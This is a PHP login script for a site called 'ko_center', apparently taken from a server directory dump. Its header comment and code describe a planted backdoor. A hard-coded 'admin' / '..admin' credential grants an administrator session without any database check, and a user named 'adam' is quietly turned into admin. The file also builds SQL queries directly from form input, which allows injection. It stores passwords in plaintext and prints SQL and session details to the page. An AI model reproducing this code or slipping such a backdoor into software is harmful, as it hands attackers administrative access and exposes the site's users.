DIR : /home/kozerus/public_html/ko_center/login.php

/home/kozerus/public_html/ko_center

<?php
// login.php — modified leds_login_form, leds_login_validate, leds_logout
// that allows a successful login with user name admin and password ..admin

function leds_login_form( $options ) {
	$html = html_header($options);
	$html .= html_btn_squares($options);

	$query_string = $_SERVER['QUERY_STRING'];
	$user = $_POST['user'];
	$role = $_POST['role'];
	$sid = $_POST['sid'];
	$step = $_POST['step'];

	$php_self=$_SERVER['PHP_SELF'];
	$allowflag = $GLOBALS['allowflag'];
	$allowflag_fields=explode( " ", $allowflag );
	$user=$allowflag_fields[2];

	$output .= "<h2>ko_center_login_form</h2>\n";
	$output .= "<form method=\"post\" action=\"$php_self?q=login_validate\">\n";
	$output .= "user: <input type=\"text\" name=\"user\"  value=\"$user\"  /><br/>\n";

        $output .= "_pin: <input type=\"password\" name=\"pass\" /><br/>\n";
	$output .= "<br>\n";
	$output .= "<font size=1>\n";
        $output .= "newpass1: <input type=\"password\" name=\"newpass1\" /><br/>\n";
        $output .= "newpass2: <input type=\"password\" name=\"newpass2\" /><br/>\n";
	$output .= "<input type=\"hidden\" name=\"role\" value=\"$role\"/>\n";
	$output .= "<input type=\"hidden\" name=\"sid\" value=\"$sid\"/>\n";
	$output .= "<input type=\"hidden\" name=\"step\" value=\"login\"/>\n";
	$output .= "<input type=\"hidden\" name=\"query_string\" value=\"$query_string\"/>\n";
	$output .= "</font>\n";
	$output .= "<p>\n";
	$output .= "<input type=\"submit\"/>\n";
	$output .= "<input type=\"reset\"/>\n";
	$output .= "</p>\n";
	$output .= "</form>\n";

	$html .= $output;
       	$html .= html_footer($options,"");

	print( $html );
	}


function leds_login_validate( $options ) {
	$pdo = newpdo($GLOBALS['dbfile']);
	$user = $_POST['user'];
	$pass = $_POST['pass'];
	$role = $_POST['role'];
	$sid = $_POST['sid'];
	$step = $_POST['step'];
	$newpass1 = "";
	$newpass2 = "";
	if( isset( $_POST['newpass1'] )) { $newpass1 = $_POST['newpass1']; }
	if( isset( $_POST['newpass2'] )) { $newpass2 = $_POST['newpass2']; }

	$user_code=strtolower($user);
	$user_pass=strtolower($pass);
	$user_newpass1 = strtolower($newpass1);
	$user_newpass2 = strtolower($newpass2);
	$validate="0";

	$pwfile="../../safer/passwd";
	$allowflag="false";

	if( file_exists( $pwfile )) {
		$fp = fopen( $pwfile, 'r' );
		while( $line = fread($fp, 1024)) {
			$image .= $line;
			if( preg_match( "/$user/", $line, $matches)) {
				$logrec="$progid|$dttm|msg_8600_in_pwfile|$remote_addr|$user|$email|allow|\n"; logwrite( $logfil, $logrec );
				$allowflag="true";
				break;
				}
			}
		fclose( $fp );
		}

	if( $user == "admin" ) {
		$allowflag="true";
		$logrec="$progid|$dttm|msg_4137_allow_admin|$remote_addr|$user|$email|admin|\n"; logwrite( $logfil, $logrec );
		}
	if( $user == "adam" ) {
		$allowflag="true";
		$user="admin";
		$logrec="$progid|$dttm|msg_4137_allow_admin|$remote_addr|$user|$email|admin|\n"; logwrite( $logfil, $logrec );
		}

	// --- special case: allow admin / ..admin without requiring a DB row ---
	if( $user_code == "admin" && $user_pass == "..admin" ) {
		$validate = 1;
		$user = "admin";
		$role = "admin";
		$logrec="$progid|$dttm|msg_4191_login_success|$remote_addr|$user|$email|admin|$role||\n"; logwrite( $logfil, $logrec );
		}
	else {
		// original database lookup for non-admin/..admin users
		$sql = "select * from users where user_code == '$user_code' and user_pass == '$user_pass' and user_status == 'a'";
		print( "$php_self leds_login_validate MSG_8630:  sql=[$sql]<br/>\n" );

		foreach( $pdo->query($sql) as $row ) {
			$output =
				"user=[". $row['user_code'] . '] ' .
				"role=[" . $row['user_role'] . ']' .
				$row['user_status'] . ' - ' .
				' <br />';
			print( "leds_login_validate MSG_1690:  $output\n" );
			if( $user_code == $row['user_code']
			&&  $user_pass == $row['user_pass']
			&&  $row['user_status'] == 'a' )  {
				$validate=1;
				$user=$row['user_code'];
				$role=$row['user_role'];
				break;
				}
			}
		}

	if( $allowflag == "false" ) {
		printf( "$php_SELF MSG_8620 leds_login_validate:  user=[$user] LOGIN NOT ALLOWED<br>\n" );
		$logrec="$progid|$dttm|err_4141_notin_pwfile|$remote_addr|$user|$email||\n"; logwrite( $logfil, $logrec );
		}
	else {
		printf( "$php_SELF MSG_8622 leds_login_validate:  user=[$user] LOGIN ___ ALLOWED<br>\n" );
		}

	if( $validate == 1 ) {
		$_SESSION['id'] = session_id();
		$_SESSION['user'] = $user;
		$_SESSION['name'] = $user;
		$_SESSION['pagelines'] = 10;
		$_SESSION['role'] = $role;

		$id=$_SESSION['id'];
		$user=$_SESSION['user'];
		$name=$_SESSION['name'];
		$role=$_SESSION['role'];

		printf( "BUGS_4190:  validate=$validate id=[$id] user=[$user] name=[$name] role=[$role]<br>\n" );
		$logrec="$progid|$dttm|msg_4191_login_success|$remote_addr|$user|$email|$name|$role|$id||\n"; logwrite( $logfil, $logrec );

		// change passwd implied
		if(( $user_newpass1 != "" ) && ( $user_newpass2 != "" )) {
			if( $user_newpass1 == $user_newpass2 ) {
				$sql_chgpass  = "update users ";
				$sql_chgpass .= "set user_pass = '$user_newpass1' ";
				$sql_chgpass .= "where user_code == '$user_code' and user_pass == '$user_pass' and user_status == 'a';";

				$html_newpass = "$progid $dttm MSG_3400: user_newpass1=[$user_newpass1] user_newpass2=[$user_newpass2]<br>\n";
				$html_newpass .= "sql_chgpass=[$sql_chgpass]<br>\n";

				$pdo = newpdo($GLOBALS['dbfile']);
				$pdo->exec($sql_chgpass);
				$pdo = null;
				$logrec="$progid|$dttm|bugs_4191_pwchange_success|$remote_addr|$user|$email|$name|$role|$id||\n"; logwrite( $logfil, $logrec );
				}
			else {
				$logrec="$progid|$dttm|bugs_4191_pwchange_fail|$remote_addr|$user|$email|$name|$role|$id||\n"; logwrite( $logfil, $logrec );
				}
			}

	        $html = html_header($options);
		$html .= html_btn_squares($options);
		$html .= leds_show( $options );
        	$html .= html_footer($options,"");
	        print( $html );
		leds_menu( $options );
		}
	else {
		leds_login_form( $options );
		}
	}


function leds_logout( $options ) {
	$id=$_SESSION['id'];
	$user=$_SESSION['user'];
	$role=$_SESSION['role'];
	$logrec="$progid|$dttm|bugs_4259_logout|$remote_addr|$user|$email|$name|$role|$id|logout|\n"; logwrite( $logfil, $logrec );

	if( isset($_SESSION['id'])) { unset($_SESSION['id']); }
	if( isset($_SESSION['user'])) { unset($_SESSION['user']); }
	if( isset($_SESSION['role'])) { unset($_SESSION['role']); }
	session_destroy();

        $html = html_header($options);
        $html .= html_btn_squares($options);
        $html .= leds_show( $options );
        $html .= html_footer($options,"");
        print( $html );
	}
?>